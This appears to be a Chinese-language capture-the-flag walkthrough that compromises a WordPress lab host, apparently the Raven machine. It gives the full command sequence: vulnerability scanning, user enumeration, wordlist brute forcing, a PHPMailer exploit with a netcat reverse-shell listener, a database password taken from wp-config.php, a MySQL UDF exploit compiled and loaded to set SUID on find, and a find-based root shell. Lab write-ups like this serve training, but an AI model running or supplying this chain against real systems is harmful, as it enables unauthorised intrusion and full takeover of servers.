sudo nmap --script=vuln  -p 22,80,111,42333,38970  192.168.8.21# 漏洞扫描

发现有wordpress目录，说明是wordpress的一个cms

访问vendor

上网查得知这是php发送邮件类，phpMailer，版本5.2.16

目录扫描

dirsearch -u 192.168.8.21

用户枚举

枚举 WordPress 站点中注册过的用户名，来制作用户名字典。

wpscan --url http://192.168.8.21/wordpress/ -e u 

枚举出两个用户steven michael

cewl密码字典制作

cewl http://192.168.8.21/wordpress/ -w password.txt

wpscan  --url http://192.168.8.21/wordpress/ -U user.txt -P password.txt # 调用相关的字典文件对网站进行爆破。

wpscan爆破失败

尝试九头蛇爆破SSH，也失败了

执行exp

python 40974.py

kali监听6868端口

nc -lvp 6868

浏览器访问生成的后门文件，拿到shell

使用python拿到交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

查看wordpress的配置文件 /var/www/html/wordpress/wp-config.php

发现数据库用户root，密码R@v3nSecurity

先看一下数据库的版本select version();

得出版本为：5.5.60-0+deb8u1

UDF脚本

利用脚本

• https://www.exploit-db.com/exploits/1518

searchsploit -m 1518
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./1518.c
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc

将1518.so 文件上传到/tmp 目录下

MySQL提权

create database saury;
use saury;
create table saury(line blob);
insert into saury values(load_file('/tmp/1518.so'));
select * from saury into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select do_system('chmod u+s /usr/bin/find');

此时，/usr/bin/find 就具备了SUID 权限

SUID提权

find ./ -exec '/bin/sh' \;
